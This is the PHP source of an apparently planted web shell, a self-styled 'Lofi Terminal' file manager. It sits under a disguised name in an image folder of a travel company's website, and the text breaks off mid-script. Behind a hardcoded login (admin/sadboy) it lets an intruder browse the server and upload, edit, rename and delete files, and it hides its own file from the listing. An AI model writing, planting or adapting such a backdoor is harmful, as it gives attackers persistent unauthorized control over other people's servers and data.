/
/
home
/
u917864144
/
domains
/
humsafarholiday.com
/
public_html
/
image
/
post
EDITOR
/home/u917864144/domains/humsafarholiday.com/public_html/image/post/class_function.PHP
SAVE
CLOSE
<?php // --- KONFIGURASI --- define('USERNAME', 'admin'); define('PASSWORD', 'sadboy'); // Password Default (GANTI DENGAN YANG LEBIH AMAN!) define('ROOT_PATH', getcwd()); define('BASE_URL', basename($_SERVER['PHP_SELF'])); // --- FUNGSI UTAMA --- function get_safe_path($path) { $path = str_replace(array('../', '..\\'), '', $path); $path = trim($path, '/\\'); $full_path = realpath(ROOT_PATH . '/' . $path); if ($full_path === false || strpos($full_path, ROOT_PATH) !== 0) { return ROOT_PATH; } return $full_path; } function get_current_path() { $path = isset($_GET['p']) ? $_GET['p'] : ''; $path = preg_replace('/[^a-zA-Z0-9\/\-_\.]/', '', $path); $safe_path_abs = get_safe_path($path); $current_dir_rel = substr($safe_path_abs, strlen(ROOT_PATH) + 1); return trim($current_dir_rel, '/\\'); } function format_size($bytes) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= pow(1024, $pow); return round($bytes, 2) . ' ' . $units[$pow]; } function get_file_icon($filename, $is_dir) { if ($is_dir) return 'fa-folder'; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => 'fa-file-code', 'html' => 'fa-file-code', 'css' => 'fa-file-code', 'js' => 'fa-file-code', 'json' => 'fa-file-code', 'xml' => 'fa-file-code', 'jpg' => 'fa-file-image', 'jpeg' => 'fa-file-image', 'png' => 'fa-file-image', 'gif' => 'fa-file-image', 'svg' => 'fa-file-image', 'pdf' => 'fa-file-pdf', 'doc' => 'fa-file-word', 'docx' => 'fa-file-word', 'xls' => 'fa-file-excel', 'xlsx' => 'fa-file-excel', 'zip' => 'fa-file-archive', 'rar' => 'fa-file-archive', '7z' => 'fa-file-archive', 'mp3' => 'fa-file-audio', 'wav' => 'fa-file-audio', 'mp4' => 'fa-file-video', 'avi' => 'fa-file-video', 'txt' => 'fa-file-alt', 'md' => 'fa-file-alt', ]; return isset($icons[$ext]) ? $icons[$ext] : 'fa-file'; } function get_dir_stats($path) { $files = 0; $dirs = 0; $size = 0; if (is_dir($path)) { $items = @scandir($path); if ($items) { foreach ($items as $item) { if ($item != '.' && $item != '..') { $item_path = $path . '/' . $item; if (is_dir($item_path)) { $dirs++; } else { $files++; $size += @filesize($item_path); } } } } } return ['files' => $files, 'dirs' => $dirs, 'size' => $size]; } // --- LOGIKA LOGIN & SESSION --- session_start(); $error_message = ''; if (isset($_POST['action']) && $_POST['action'] === 'login') { if ($_POST['username'] === USERNAME && $_POST['password'] === PASSWORD) { $_SESSION['is_logged_in'] = true; header('Location: ' . BASE_URL); exit; } else { $error_message = 'Akses ditolak. Protokol otorisasi gagal.'; } } if (isset($_GET['action']) && $_GET['action'] === 'logout') { session_destroy(); header('Location: ' . BASE_URL); exit; } $is_logged_in = isset($_SESSION['is_logged_in']) && $_SESSION['is_logged_in'] === true; // --- LOGIN VIEW --- if (!$is_logged_in) { ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Lofi Terminal - Access Point</title> <script src="https://cdn.tailwindcss.com"></script> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css"> <link href="https://fonts.googleapis.com/css2?family=Roboto+Mono:wght@400;700&display=swap" rel="stylesheet"> <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script> <script> tailwind.config = { theme: { extend: { colors: { 'lofi-dark': '#0d1117', 'lofi-bg': '#161b22', 'lofi-text': '#c9d1d9', 'lofi-accent': '#bb9af8', 'lofi-pink': '#f7768e', 'lofi-terminal': '#21262d', } } } } </script> <style> body { font-family: 'Roboto Mono', monospace; background: linear-gradient(135deg, #0d1117 0%, #1a1f2e 100%); background-image: radial-gradient(at 20% 30%, rgba(187, 154, 248, 0.1) 0px, transparent 50%), radial-gradient(at 80% 70%, rgba(247, 118, 142, 0.1) 0px, transparent 50%), linear-gradient(to right, #111 1px, transparent 1px), linear-gradient(to bottom, #111 1px, transparent 1px); background-size: auto, auto, 25px 25px, 25px 25px; min-height: 100vh; } .login-box { backdrop-filter: blur(10px); background: rgba(22, 27, 34, 0.8); border: 1px solid rgba(187, 154, 248, 0.3); box-shadow: 0 8px 32px rgba(0, 0, 0, 0.4), 0 0 20px rgba(187, 154, 248, 0.1); } .lofi-input { background-color: #21262d; border: 1px solid #bb9af8; border-left: 4px solid #f7768e; color: #c9d1d9; transition: all 0.3s; } .lofi-input:focus { outline: none; border-left: 4px solid #bb9af8; box-shadow: 0 0 15px rgba(187, 154, 248, 0.4); } .lofi-btn { background: linear-gradient(135deg, #f7768e 0%, #bb9af8 100%); color: #0d1117; font-weight: 700; box-shadow: 0 4px 15px rgba(247, 118, 142, 0.3); transition: all 0.3s; } .lofi-btn:hover { transform: translateY(-2px); box-shadow: 0 6px 20px rgba(187, 154, 248, 0.4); } </style> </head> <body class="flex items-center justify-center min-h-screen p-4"> <div class="login-box w-full max-w-md p-8 rounded-3xl"> <div class="text-center mb-8"> <div class="w-20 h-20 mx-auto mb-4 rounded-full bg-gradient-to-br from-lofi-pink to-lofi-accent flex items-center justify-center"> <i class="fas fa-terminal text-3xl text-lofi-dark"></i> </div> <h2 class="text-3xl font-bold text-lofi-accent uppercase tracking-widest"> Access Point </h2> <p class="text-lofi-text/60 text-sm mt-2">Secure Terminal Authentication</p> </div> <?php if (!empty($error_message)) : ?> <div class="p-4 mb-6 text-sm text-lofi-pink bg-red-900/20 border border-lofi-pink rounded-xl text-center"> <i class="fas fa-exclamation-triangle mr-2"></i><?php echo $error_message; ?> </div> <?php endif; ?> <form action="<?php echo BASE_URL; ?>" method="POST" class="space-y-5"> <input type="hidden" name="action" value="login"> <div> <input type="text" name="username" class="lofi-input w-full p-4 rounded-xl" placeholder=">> username" required> </div> <div> <input type="password" name="password" class="lofi-input w-full p-4 rounded-xl" placeholder=">> password" required> </div> <button type="submit" class="lofi-btn w-full p-4 rounded-xl text-lg uppercase tracking-wider"> <i class="fas fa-sign-in-alt mr-2"></i> Initialize Connection </button> </form> </div> </body> </html> <?php exit; } // --- FILE MANAGER LOGIC --- $current_dir_rel = get_current_path(); $current_dir_abs = get_safe_path($current_dir_rel); $success_msg = ''; $error_msg = ''; if (!is_dir($current_dir_abs)) { $current_dir_abs = ROOT_PATH; $current_dir_rel = ''; $error_msg = 'Direktori tidak ditemukan. Kembali ke Root.'; } // Actions Handler if (isset($_POST['action'])) { $action = $_POST['action']; $current_p_url = '?p=' . urlencode($current_dir_rel); try { switch ($action) { case 'create_dir': $new_dir_name = trim($_POST['new_name']); if (empty($new_dir_name)) throw new Exception('Nama direktori tidak boleh kosong.'); $new_path = rtrim($current_dir_abs, '/\\') . DIRECTORY_SEPARATOR . $new_dir_name; if (file_exists($new_path)) throw new Exception('Direktori sudah ada!'); if (!mkdir($new_path, 0755)) throw new Exception('Gagal membuat direktori.'); $success_msg = 'Schema "' . htmlspecialchars($new_dir_name) . '" created successfully!'; break; case 'create_file': $new_file_name = trim($_POST['new_name']); if (empty($new_file_name)) throw new Exception('Nama file tidak boleh kosong.'); $new_path = rtrim($current_dir_abs, '/\\') . DIRECTORY_SEPARATOR . $new_file_name; if (file_exists($new_path)) throw new Exception('File sudah ada!'); if (file_put_contents($new_path, '') === false) { throw new Exception('Gagal membuat file baru.'); } $success_msg = 'File "' . htmlspecialchars($new_file_name) . '" created successfully!'; break; case 'rename': $old_name = trim($_POST['old_name']); $new_name = trim($_POST['new_name']); if (empty($new_name)) throw new Exception('Nama baru tidak boleh kosong.'); $old_path = get_safe_path($current_dir_rel . '/' . $old_name); $new_path = rtrim(dirname($old_path), '/\\') . DIRECTORY_SEPARATOR . $new_name; if ($old_path === ROOT_PATH) throw new Exception('Aksi terlarang.'); if (!file_exists($old_path)) throw new Exception('File/Direktori tidak ditemukan.'); if (!rename($old_path, $new_path)) throw new Exception('Gagal mengganti nama.'); $success_msg = 'Renamed "' . htmlspecialchars($old_name) . '" to "' . htmlspecialchars($new_name) . '"!'; break; case 'delete': $target_name = trim($_POST['target_name']); $target_path = get_safe_path($current_dir_rel . '/' . $target_name); if ($target_path === ROOT_PATH) throw new Exception('Aksi terlarang.'); if (!file_exists($target_path)) throw new Exception('File/Direktori tidak ditemukan.'); if (is_dir($target_path)) { if (count(scandir($target_path)) > 2) { throw new Exception('Direktori tidak kosong.'); } if (!rmdir($target_path)) throw new Exception('Gagal menghapus direktori.'); } else { if (!unlink($target_path)) throw new Exception('Gagal menghapus file.'); } $success_msg = 'Deleted "' . htmlspecialchars($target_name) . '"!'; break; case 'edit_file': $file_name = trim($_POST['file_name']); $content = $_POST['content']; $file_path = get_safe_path($current_dir_rel . '/' . $file_name); if (!is_file($file_path)) throw new Exception('File tidak ditemukan.'); if (file_put_contents($file_path, $content) === false) throw new Exception('Gagal menyimpan.'); $success_msg = 'File "' . htmlspecialchars($file_name) . '" saved!'; header('Location: ' . BASE_URL . $current_p_url . '&success=' . urlencode($success_msg)); exit; case 'upload': if (empty($_FILES['file_upload']['name'])) throw new Exception('Tidak ada file.'); $file_tmp = $_FILES['file_upload']['tmp_name']; $file_name = basename($_FILES['file_upload']['name']); $target_path = $current_dir_abs . '/' . $file_name; if (file_exists($target_path)) throw new Exception('File sudah ada.'); if (move_uploaded_file($file_tmp, $target_path)) { $success_msg = 'Uploaded "' . htmlspecialchars($file_name) . '"!'; } else { throw new Exception('Gagal upload.'); } break; } } catch (Exception $e) { $error_msg = $e->getMessage(); } header('Location: ' . BASE_URL . $current_p_url . '&' . ($success_msg ? 'success=' . urlencode($success_msg) : 'error=' . urlencode($error_msg))); exit; } // Editor Mode $edit_content = null; $edit_filename = null; if (isset($_GET['action']) && $_GET['action'] === 'edit' && isset($_GET['file'])) { $edit_filename = basename($_GET['file']); $edit_path = get_safe_path($current_dir_rel . '/' . $edit_filename); if (is_file($edit_path)) { $edit_content = file_get_contents($edit_path); } else { $error_msg = 'File tidak ditemukan.'; $edit_filename = null; } } if (isset($_GET['success'])) $success_msg = htmlspecialchars($_GET['success']); if (isset($_GET['error'])) $error_msg = htmlspecialchars($_GET['error']); // Get Files $files = []; $dir_stats = get_dir_stats($current_dir_abs); if (is_dir($current_dir_abs)) { $ignore_files = ['.', '..', basename(__FILE__)]; $items = array_diff(scandir($current_dir_abs), $ignore_files); foreach ($items as $item) { $path = $current_dir_abs . '/' . $item; $files[] = [ 'name' => $item, 'is_dir' => is_dir($path), 'size' => is_file($path) ? filesize($path) : 0, 'modified' => filemtime($path), 'icon' => get_file_icon($item, is_dir($path)) ]; } usort($files, function($a, $b) { if ($a['is_dir'] == $b['is_dir']) return strcasecmp($a['name'], $b['name']); return ($a['is_dir'] > $b['is_dir']) ? -1 : 1; }); } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Lofi Terminal - <?php echo ($edit_content !== null) ? 'Editor' : 'File Manager'; ?></title> <script src="https://cdn.tailwindcss.com"></script> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css"> <link href="https://fonts.googleapis.com/css2?family=Roboto+Mono:wght@400;700&display=swap" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/4.1.1/animate.min.css"> <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script> <script src="https://code.jquery.com/jquery-3.6.4.min.js"></script> <script> tailwind.config = { theme: { extend: { colors: { 'lofi-dark': '#0d1117', 'lofi-bg': '#161b22', 'lofi-card': '#1c2128', 'lofi-text': '#c9d1d9', 'lofi-accent': '#bb9af8', 'lofi-pink': '#f7768e', 'lofi-terminal': '#21262d', 'lofi-success': '#3fb950', 'lofi-error': '#f7768e', 'lofi-border': '#30363d', 'lofi-info': '#58a6ff', } } } } </script> <style> body { font-family: 'Roboto Mono', monospace; background: linear-gradient(135deg, #0d1117 0%, #1a1f2e 100%); background-image: radial-gradient(at 20% 30%, rgba(187, 154, 248, 0.05) 0px, transparent 50%), radial-gradient(at 80% 70%, rgba(247, 118, 142, 0.05) 0px, transparent 50%), linear-gradient(to right, #111 1px, transparent 1px), linear-gradient(to bottom, #111 1px, transparent 1px); background-size: auto, auto, 30px 30px, 30px 30px; color: #c9d1d9; } .lofi-card { background: rgba(28, 33, 40, 0.8); backdrop-filter: blur(10px); border: 1px solid #30363d; box-shadow: 0 4px 20px rgba(0, 0, 0, 0.3); transition: all 0.3s; } .lofi-card:hover { border-color: rgba(187, 154, 248, 0.3); box-shadow: 0 8px 30px rgba(0, 0, 0, 0.4), 0 0 20px rgba(187, 154, 248, 0.1); } .stat-card { background: linear-gradient(135deg, rgba(187, 154, 248, 0.1) 0%, rgba(247, 118, 142, 0.1) 100%); border: 1px solid rgba(187, 154, 248, 0.2); } .lofi-input, .lofi-textarea { background-color: #21262d; border: 1px solid #30363d; border-left: 3px solid #bb9af8; color: #c9d1d9; transition: all 0.3s; } .lofi-input:focus, .lofi-textarea:focus { outline: none; border-left: 3px solid #f7768e; box-shadow: 0 0 15px rgba(187, 154, 248, 0.2); } .lofi-btn { padding: 0.75rem 1.25rem; font-weight: 700; text-transform: uppercase; letter-spacing: 0.05em; transition: all 0.3s; border: 1px solid transparent; } .btn-gradient { background: linear-gradient(135deg, #f7768e 0%, #bb9af8 100%); color: #0d1117; box-shadow: 0 4px 15px rgba(247, 118, 142, 0.3); } .btn-gradient:hover { transform: translateY(-2px); box-shadow: 0 6px 20px rgba(187, 154, 248, 0.4); } .btn-outline { background: transparent; border: 1px solid #bb9af8; color: #bb9af8; } .btn-outline:hover { background: rgba(187, 154, 248, 0.1); border-color: #f7768e; color: #f7768e; } .btn-danger { background: rgba(247, 118, 142, 0.2); border: 1px solid #f7768e; color: #f7768e; } .btn-danger:hover { background: #f7768e; color: #0d1117; } .file-row { transition: all 0.2s; border-left: 3px solid transparent; } .file-row:hover { background: rgba(187, 154, 248, 0.05); border-left-color: #bb9af8; } .file-icon { width: 40px; height: 40px; display: flex; align-items: center; justify-content: center; border-radius: 10px; background: rgba(187, 154, 248, 0.1); color: #bb9af8; } .file-icon.is-dir { background: rgba(247, 118, 142, 0.1); color: #f7768e; } .breadcrumb-link { color: #c9d1d9; transition: all 0.2s; position: relative; } .breadcrumb-link:hover { color: #bb9af8; } .breadcrumb-link::after { content: '/'; margin: 0 0.5rem; color: #30363d; } .breadcrumb-link:last-child::after { display: none; } .status-online { width: 8px; height: 8px; background: #3fb950; border-radius: 50%; animation: pulse 2s infinite; } @keyframes pulse { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } } .lofi-textarea { min-height: 500px; font-family: 'Roboto Mono', monospace; font-size: 0.875rem; } /* Custom Scrollbar */ ::-webkit-scrollbar { width: 10px; height: 10px; } ::-webkit-scrollbar-track { background: #161b22; } ::-webkit-scrollbar-thumb { background: #30363d; border-radius: 5px; } ::-webkit-scrollbar-thumb:hover { background: #bb9af8; } </style> </head> <body class="p-4 md:p-8"> <?php if ($edit_content !== null) : ?> <!-- EDITOR MODE --> <div class="max-w-6xl mx-auto animate__animated animate__fadeIn"> <div class="lofi-card p-6 md:p-8 rounded-3xl"> <div class="flex items-center justify-between mb-8 pb-6 border-b border-lofi-border"> <div> <h1 class="text-2xl md:text-3xl font-bold text-lofi-accent mb-2"> <i class="fas fa-code mr-3"></i>Code Editor </h1> <p class="text-lofi-text/60 text-sm"> <i class="fas fa-file-code mr-2"></i><?php echo htmlspecialchars($edit_filename); ?> </p> </div> <a href="<?php echo BASE_URL . '?p=' . urlencode($current_dir_rel); ?>" class="lofi-btn btn-outline rounded-xl"> <i class="fas fa-arrow-left mr-2"></i>Back </a> </div> <?php if ($success_msg) : ?> <div class="p-4 mb-6 bg-green-900/20 border border-lofi-success rounded-xl animate__animated animate__fadeInDown"> <i class="fas fa-check-circle mr-2 text-lofi-success"></i><?php echo $success_msg; ?> </div> <?php endif; ?> <form action="<?php echo BASE_URL; ?>" method="POST"> <input type="hidden" name="action" value="edit_file"> <input type="hidden" name="file_name" value="<?php echo htmlspecialchars($edit_filename); ?>"> <textarea name="content" class="lofi-textarea w-full p-4 rounded-xl mb-6"><?php echo htmlspecialchars($edit_content); ?></textarea> <button type="submit" class="lofi-btn btn-gradient w-full md:w-auto rounded-xl px-8"> <i class="fas fa-save mr-2"></i>Save Changes </button> </form> </div> </div> <?php else : ?> <!-- FILE MANAGER MODE --> <div class="max-w-7xl mx-auto animate__animated animate__fadeIn"> <!-- Header --> <div class="lofi-card p-6 md:p-8 rounded-3xl mb-6"> <div class="flex flex-col md:flex-row items-start md:items-center justify-between gap-4"> <div> <h1 class="text-3xl md:text-4xl font-bold mb-2 bg-gradient-to-r from-lofi-pink to-lofi-accent bg-clip-text text-transparent"> <i class="fas fa-terminal mr-3"></i>Lofi Terminal </h1> <p class="text-lofi-text/60 text-sm flex items-center gap-2"> <span class="status-online"></span> System Online </p> </div> <a href="<?php echo BASE_URL; ?>?action=logout" class="lofi-btn btn-danger rounded-xl"> <i class="fas fa-power-off mr-2"></i>Disconnect </a> </div> </div> <!-- Stats Cards --> <div class="grid grid-cols-1 md:grid-cols-3 gap-6 mb-6"> <div class="stat-card p-6 rounded-3xl"> <div class="flex items-center gap-4"> <div class="w-12 h-12 rounded-xl bg-lofi-accent/20 flex items-center justify-center"> <i class="fas fa-folder text-lofi-accent text-xl"></i> </div> <div> <p class="text-lofi-text/60 text-xs uppercase tracking-wider mb-1">Directories</p> <p class="text-2xl font-bold text-lofi-accent"><?php echo $dir_stats['dirs']; ?></p> </div> </div> </div> <div class="stat-card p-6 rounded-3xl"> <div class="flex items-center gap-4"> <div class="w-12 h-12 rounded-xl bg-lofi-pink/20 flex items-center justify-center"> <i class="fas fa-file text-lofi-pink text-xl"></i> </div> <div> <p class="text-lofi-text/60 text-xs uppercase tracking-wider mb-1">Files</p> <p class="text-2xl font-bold text-lofi-pink"><?php echo $dir_stats['files']; ?></p> </div> </div> </div> <div class="stat-card p-6 rounded-3xl"> <div class="flex items-center gap-4"> <div class="w-12 h-12 rounded-xl bg-lofi-info/20 flex items-center justify-center"> <i class="fas fa-hdd text-lofi-info text-xl"></i> </div> <div> <p class="text-lofi-text/60 text-xs uppercase tracking-wider mb-1">Total Size</p> <p class="text-2xl font-bold text-lofi-info"><?php echo format_size($dir_stats['size']); ?></p> </div> </div> </div> </div> <!-- Breadcrumb --> <div class="lofi-card p-5 rounded-3xl mb-6"> <div class="flex items-center gap-3 text-sm"> <i class="fas fa-map-marker-alt text-lofi-accent"></i> <div class="flex items-center flex-wrap"> <a href="<?php echo BASE_URL; ?>" class="breadcrumb-link font-bold">ROOT</a> <?php $path_parts = explode('/', $current_dir_rel); $path_link = ''; foreach ($path_parts as $part): if (!$part) continue; $path_link .= '/' . $part; ?> <a href="<?php echo BASE_URL . '?p=' . urlencode(trim($path_link, '/')); ?>" class="breadcrumb-link hover:text-lofi-pink"> <?php echo htmlspecialchars($part); ?> </a> <?php endforeach; ?> </div> </div> </div> <!-- Messages --> <?php if ($success_msg) : ?> <div class="p-4 mb-6 bg-green-900/20 border border-lofi-success rounded-xl animate__animated animate__fadeInDown"> <i class="fas fa-check-circle mr-2 text-lofi-success"></i><?php echo $success_msg; ?> </div> <?php endif; ?> <?php if ($error_msg) : ?> <div class="p-4 mb-6 bg-red-900/20 border border-lofi-error rounded-xl animate__animated animate__fadeInDown"> <i class="fas fa-exclamation-triangle mr-2 text-lofi-error"></i><?php echo $error_msg; ?> </div> <?php endif; ?> <!-- Action Buttons --> <div class="lofi-card p-6 rounded-3xl mb-6"> <div class="grid grid-cols-2 md:grid-cols-4 gap-4"> <button onclick="showCreateModal('file')" class="lofi-btn btn-outline rounded-xl py-4"> <i class="fas fa-file-plus mr-2"></i>New File </button> <button onclick="showCreateModal('dir')" class="lofi-btn btn-outline rounded-xl py-4"> <i class="fas fa-folder-plus mr-2"></i>New Folder </button> <button onclick="showUploadModal()" class="lofi-btn btn-gradient rounded-xl py-4"> <i class="fas fa-upload mr-2"></i>Upload </button> <button onclick="location.reload()" class="lofi-btn btn-outline rounded-xl py-4"> <i class="fas fa-sync-alt mr-2"></i>Refresh </button> </div> </div> <!-- Files Grid/List --> <div class="lofi-card p-6 rounded-3xl"> <div class="flex items-center justify-between mb-6"> <h2 class="text-xl font-bold text-lofi-text"> <i class="fas fa-layer-group mr-2 text-lofi-accent"></i>File System </h2> <div class="flex gap-2"> <button onclick="toggleView('grid')" id="btnGrid" class="lofi-btn btn-outline rounded-lg px-3 py-2 text-sm"> <i class="fas fa-th"></i> </button> <button onclick="toggleView('list')" id="btnList" class="lofi-btn btn-outline rounded-lg px-3 py-2 text-sm"> <i class="fas fa-list"></i> </button> </div> </div> <!-- List View --> <div id="listView" class="space-y-2"> <?php if ($current_dir_rel): ?> <div class="file-row p-4 rounded-xl border border-lofi-border/50 flex items-center gap-4"> <?php $parent_dir = dirname($current_dir_rel); if ($parent_dir == '.') $parent_dir = ''; ?> <div class="file-icon"> <i class="fas fa-level-up-alt"></i> </div> <a href="<?php echo BASE_URL . ($parent_dir ? '?p=' . urlencode($parent_dir) : ''); ?>" class="flex-1"> <p class="font-bold text-lofi-text/80">.. [Parent Directory]</p> </a> </div> <?php endif; ?> <?php foreach ($files as $file) : ?> <div class="file-row p-4 rounded-xl border border-lofi-border/50 flex flex-col md:flex-row items-start md:items-center gap-4"> <div class="file-icon <?php echo $file['is_dir'] ? 'is-dir' : ''; ?>"> <i class="fas <?php echo $file['icon']; ?>"></i> </div> <div class="flex-1 min-w-0"> <?php if ($file['is_dir']) : ?> <a href="<?php echo BASE_URL . '?p=' . urlencode(trim($current_dir_rel . '/' . $file['name'], '/')); ?>" class="block"> <p class="font-bold text-lofi-text hover:text-lofi-accent transition-colors truncate"> <?php echo htmlspecialchars($file['name']); ?> </p> <p class="text-xs text-lofi-text/50 mt-1">Directory</p> </a> <?php else : ?> <p class="font-bold text-lofi-text truncate"><?php echo htmlspecialchars($file['name']); ?></p> <p class="text-xs text-lofi-text/50 mt-1"> <?php echo format_size($file['size']); ?> • <?php echo date("d M Y, H:i", $file['modified']); ?> </p> <?php endif; ?> </div> <div class="flex gap-2 w-full md:w-auto"> <button onclick="showRenameModal('<?php echo htmlspecialchars($file['name'], ENT_QUOTES); ?>')" class="lofi-btn btn-outline rounded-lg px-3 py-2 text-xs flex-1 md:flex-none" title="Rename"> <i class="fas fa-edit"></i> </button> <?php if (!$file['is_dir']) : ?> <a href="<?php echo BASE_URL . '?action=edit&file=' . urlencode($file['name']) . '&p=' . urlencode($current_dir_rel); ?>" class="lofi-btn btn-gradient rounded-lg px-3 py-2 text-xs flex-1 md:flex-none" title="Edit"> <i class="fas fa-code"></i> </a> <?php endif; ?> <button onclick="showDeleteConfirm('<?php echo htmlspecialchars($file['name'], ENT_QUOTES); ?>', <?php echo $file['is_dir'] ? 'true' : 'false'; ?>)" class="lofi-btn btn-danger rounded-lg px-3 py-2 text-xs flex-1 md:flex-none" title="Delete"> <i class="fas fa-trash-alt"></i> </button> </div> </div> <?php endforeach; ?> <?php if (empty($files) && !$current_dir_rel): ?> <div class="text-center py-16"> <i class="fas fa-folder-open text-6xl text-lofi-text/20 mb-4"></i> <p class="text-lofi-text/50">Empty directory</p> </div> <?php endif; ?> </div> <!-- Grid View (Hidden by default) --> <div id="gridView" class="grid grid-cols-2 md:grid-cols-3 lg:grid-cols-4 gap-4" style="display: none;"> <?php if ($current_dir_rel): ?> <div class="file-row p-4 rounded-xl border border-lofi-border/50 text-center"> <?php $parent_dir = dirname($current_dir_rel); if ($parent_dir == '.') $parent_dir = ''; ?> <a href="<?php echo BASE_URL . ($parent_dir ? '?p=' . urlencode($parent_dir) : ''); ?>"> <div class="file-icon mx-auto mb-3"> <i class="fas fa-level-up-alt text-2xl"></i> </div> <p class="text-sm font-bold text-lofi-text/80 truncate">..</p> </a> </div> <?php endif; ?> <?php foreach ($files as $file) : ?> <div class="file-row p-4 rounded-xl border border-lofi-border/50"> <?php if ($file['is_dir']) : ?> <a href="<?php echo BASE_URL . '?p=' . urlencode(trim($current_dir_rel . '/' . $file['name'], '/')); ?>"> <div class="file-icon is-dir mx-auto mb-3"> <i class="fas <?php echo $file['icon']; ?> text-2xl"></i> </div> <p class="text-sm font-bold text-lofi-text hover:text-lofi-accent transition-colors truncate mb-2"> <?php echo htmlspecialchars($file['name']); ?> </p> </a> <?php else : ?> <div class="file-icon mx-auto mb-3"> <i class="fas <?php echo $file['icon']; ?> text-2xl"></i> </div> <p class="text-sm font-bold text-lofi-text truncate mb-2"> <?php echo htmlspecialchars($file['name']); ?> </p> <p class="text-xs text-lofi-text/50 mb-3"><?php echo format_size($file['size']); ?></p> <?php endif; ?> <div class="flex gap-1 justify-center"> <button onclick="showRenameModal('<?php echo htmlspecialchars($file['name'], ENT_QUOTES); ?>')" class="lofi-btn btn-outline rounded-lg px-2 py-1 text-xs"> <i class="fas fa-edit"></i> </button> <?php if (!$file['is_dir']) : ?> <a href="<?php echo BASE_URL . '?action=edit&file=' . urlencode($file['name']) . '&p=' . urlencode($current_dir_rel); ?>" class="lofi-btn btn-gradient rounded-lg px-2 py-1 text-xs"> <i class="fas fa-code"></i> </a> <?php endif; ?> <button onclick="showDeleteConfirm('<?php echo htmlspecialchars($file['name'], ENT_QUOTES); ?>', <?php echo $file['is_dir'] ? 'true' : 'false'; ?>)" class="lofi-btn btn-danger rounded-lg px-2 py-1 text-xs"> <i class="fas fa-trash"></i> </button> </div> </div> <?php endforeach; ?> </div> </div> </div> <?php endif; ?> <script> // View Toggle let currentView = 'list'; function toggleView(view) { currentView = view; const listView = document.getElementById('listView'); const gridView = document.getElementById('gridView'); const btnList = document.getElementById('btnList'); const btnGrid = document.getElementById('btnGrid'); if (view === 'grid') { listView.style.display = 'none'; gridView.style.display = 'grid'; btnGrid.classList.add('btn-gradient'); btnGrid.classList.remove('btn-outline'); btnList.classList.add('btn-outline'); btnList.classList.remove('btn-gradient'); } else { listView.style.display = 'block'; gridView.style.display = 'none'; btnList.classList.add('btn-gradient'); btnList.classList.remove('btn-outline'); btnGrid.classList.add('btn-outline'); btnGrid.classList.remove('btn-gradient'); } } // Initialize default view document.addEventListener('DOMContentLoaded', function() { toggleView('list'); }); // SweetAlert Configuration const Toast = Swal.mixin({ toast: true, position: 'top-end', showConfirmButton: false, timer: 3000, timerProgressBar: true, customClass: { popup: 'colored-toast' } }); Swal.mixin({ customClass: { confirmButton: 'lofi-btn btn-gradient rounded-xl mx-2', cancelButton: 'lofi-btn btn-outline rounded-xl mx-2' }, buttonsStyling: false, background: '#1c2128', color: '#c9d1d9', backdrop: 'rgba(0,0,0,0.8)' }); // Show messages $(document).ready(function() { const urlParams = new URLSearchParams(window.location.search); const successMsg = urlParams.get('success'); const errorMsg = urlParams.get('error'); if (successMsg || errorMsg) { history.replaceState({}, document.title, window.location.pathname + window.location.search.replace(/(\?|&)(success|error)=[^&]*/g, '')); } }); function showCreateModal(type) { const action = type === 'dir' ? 'create_dir' : 'create_file'; const title = type === 'dir' ? 'Create New Directory' : 'Create New File'; const icon = type === 'dir' ? 'fa-folder-plus' : 'fa-file-plus'; Swal.fire({ title: `<i class="fas ${icon} mr-2"></i>${title}`, html: ` <form id="createForm" action="<?php echo BASE_URL; ?>" method="POST"> <input type="hidden" name="action" value="${action}"> <input type="hidden" name="p" value="<?php echo htmlspecialchars($current_dir_rel); ?>"> <div class="mt-4"> <input type="text" id="newName" name="new_name" class="lofi-input w-full p-4 rounded-xl text-sm" placeholder="Enter name..." required> </div> </form> `, focusConfirm: false, showCancelButton: true, confirmButtonText: '<i class="fas fa-plus mr-2"></i>Create', cancelButtonText: '<i class="fas fa-times mr-2"></i>Cancel', preConfirm: () => { const name = $('#newName').val(); if (!name) { Swal.showValidationMessage('Name cannot be empty'); return false; } return true; } }).then((result) => { if (result.isConfirmed) { $('#createForm').submit(); } }); } function showRenameModal(oldName) { Swal.fire({ title: '<i class="fas fa-edit mr-2"></i>Rename Item', html: ` <form id="renameForm" action="<?php echo BASE_URL; ?>" method="POST"> <input type="hidden" name="action" value="rename"> <input type="hidden" name="p" value="<?php echo htmlspecialchars($current_dir_rel); ?>"> <input type="hidden" name="old_name" value="${oldName}"> <div class="mt-4"> <input type="text" id="newName" name="new_name" class="lofi-input w-full p-4 rounded-xl text-sm" value="${oldName}" required> </div> </form> `, focusConfirm: false, showCancelButton: true, confirmButtonText: '<i class="fas fa-check mr-2"></i>Rename', cancelButtonText: '<i class="fas fa-times mr-2"></i>Cancel', preConfirm: () => { const newName = $('#newName').val(); if (!newName) { Swal.showValidationMessage('Name cannot be empty'); return false; } return true; } }).then((result) => { if (result.isConfirmed) { $('#renameForm').submit(); } }); } function showDeleteConfirm(targetName, isDir) { Swal.fire({ title: 'Confirm Deletion', html: `Are you sure you want to delete <strong>${isDir ? 'directory' : 'file'}</strong>:<br><code class="text-lofi-pink">${targetName}</code>?<br><br><small class="text-lofi-text/50">This action cannot be undone.</small>`, icon: 'warning', iconColor: '#f7768e', showCancelButton: true, confirmButtonText: '<i class="fas fa-trash mr-2"></i>Delete', cancelButtonText: '<i class="fas fa-times mr-2"></i>Cancel', customClass: { confirmButton: 'lofi-btn btn-danger rounded-xl mx-2', cancelButton: 'lofi-btn btn-outline rounded-xl mx-2' } }).then((result) => { if (result.isConfirmed) { const 